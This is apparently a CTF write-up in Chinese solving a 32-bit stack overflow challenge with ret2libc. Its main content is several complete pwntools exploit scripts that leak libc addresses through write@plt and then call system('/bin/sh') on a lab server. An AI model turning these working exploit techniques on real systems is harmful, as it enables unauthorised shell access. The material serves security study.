stack(ret2libc)
分析
首先checksec一下，发现没开栈保护，可能是栈溢出。
[*] '/root/Desktop/bin/pwn/stack_/stack'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA32把所有函数看了一遍发现函数gee的read可以利用一下。
大致思路
先获取libc库版本，通过泄露printf的真实地址得到偏移，
从而知道system函数和'/bin/sh'的真实地址。通过栈溢出覆盖返回地址为system函数从而拿到shell。
Tip:ldd stack查看libc库版本
第一次的exp如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"
io = process('./stack')
#io = remote('10.4.21.55',9012)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IWx1b':
pass
else:
print_addr = u32(temp[0:4])
print("get")
break
print hex(print_addr)
offset = print_addr - libc.symbols['printf']
print hex(offset)
sys_addr = offset + libc.symbols['system']
bin_sh_addr = offset + libc.search('/bin/sh').next()
payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)
io.interactive()
在本地跑没毛病，但是一到远程就EOF，调了几次还是一脸懵逼，在我一直追问M4x师傅之后他说远程的libc和本地不一样。
这里分享个小trick：在libc版本正确的前提下，得到的libc_base的后三位均为0。
如下图
第二次尝试用DynELF跑
结果发现由于这题的一些缘故跑地贼慢，根本跑不出来，但还是把exp放出来，以供以后参考。
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
#context.log_level = "debug"
io = process('./stack')
#io = remote('10.4.21.55',9012)
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
def leak(address):
payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
io.sendline(payload)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IWx1b':
pass
else:
data = temp[0:4]
print "%#x => %s" % (address, (data or '').encode('hex'))
print("get")
break
return data
dynelf = DynELF(leak, elf=ELF('stack'))
sys_addr = dynelf.lookup("system", "libc")
print "systemAddress:", hex(sys_addr)
io.interactive()
io.close()
第三次我是通过泄露printf和write函数的真实地址
然后在https://libc.blukat.me这个网址找到对应的libc版本以及相应函数的libc地址。
leak_libc如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
import binascii
context.log_level = "debug"
#io = process('./stack')
io = remote('10.4.21.55',9012)
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
def leak(address):
payload = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, address, 4])
io.sendline(payload)
while 1:
temp = io.recvline()
if temp[0] in '.*IWx1b':
pass
else:
data = u32(temp[0:4])
print("get")
break
return hex(data)
print 'print_addr:'
print_addr = leak(print_got_addr)
print print_addr
print 'write_addr'
write_addr = leak(write_got_addr)
print write_addr
io.interactive()
io.close()
exp如下：
#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
from pwn import *
#context.log_level = "debug"
#io = process('./stack')
io = remote('10.4.21.55',9012)
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
#libc6_2.23-0ubuntu9_i386
elf = ELF('./stack')
print_got_addr = elf.got['printf']
write_plt_addr = elf.plt['write']
gee_addr = elf.symbols['gee']
payload1 = flat(['a'*0x8c, write_plt_addr, gee_addr, 1, print_got_addr, 4])
io.send(payload1)
while 1:
temp = io.recvline()
print temp[0]
if temp[0] in '.*IWx1b':
pass
else:
print_addr = u32(temp[0:4])
print("get")
break
print hex(print_addr)
#line = raw_input()
libc_print = 0x049670
libc_sys = 0x03ada0
libc_bin = 0x15b9ab
offset = print_addr - libc_print
print hex(offset)
sys_addr = offset + libc_sys
bin_sh_addr = offset + libc_bin
payload2 = flat(['a'*0x8c, sys_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)
io.interactive()
#flag{lan de xiang flag}
>###作者： LB919 >###出处：http://www.cnblogs.com/L1B0/ >###如有转载，荣幸之至！请随手标明出处；